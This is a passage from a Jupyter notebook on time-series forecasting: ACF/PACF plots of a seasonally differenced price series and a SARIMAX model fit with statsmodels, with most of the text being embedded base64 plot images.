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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "fig = plt.figure(figsize=(12,8))\n", - "ax1 = fig.add_subplot(211)\n", - "fig = plot_acf(df['Seasonal Difference'].dropna(),lags=40,ax=ax1)\n", - "ax2 = fig.add_subplot(212)\n", - "fig = plot_pacf(df['Seasonal Difference'].dropna(),lags=40,ax=ax2)" - ] - }, - { - "cell_type": "code", - "execution_count": 24, - "id": "0ff1dfdc", - "metadata": {}, - "outputs": [], - "source": [ - "import statsmodels.api as sm" - ] - }, - { - "cell_type": "code", - "execution_count": 25, - "id": "174c4f48", - "metadata": {}, - "outputs": [ - { - "name": "stderr", - "output_type": "stream", - "text": [ - "C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\statsmodels\\tsa\\base\\tsa_model.py:524: ValueWarning: No frequency information was provided, so inferred frequency D will be used.\n", - " warnings.warn('No frequency information was'\n", - "C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\statsmodels\\tsa\\base\\tsa_model.py:524: ValueWarning: No frequency information was provided, so inferred frequency D will be used.\n", - " warnings.warn('No frequency information was'\n" - ] - } - ], - "source": [ - "model=sm.tsa.statespace.SARIMAX(df['Price'],order=(1, 2, 1),seasonal_order=(1,2,1,12))\n", - "results=model.fit()" - ] - }, - { - "cell_type": "code", - "execution_count": 26, - "id": "202619bc", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 26, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "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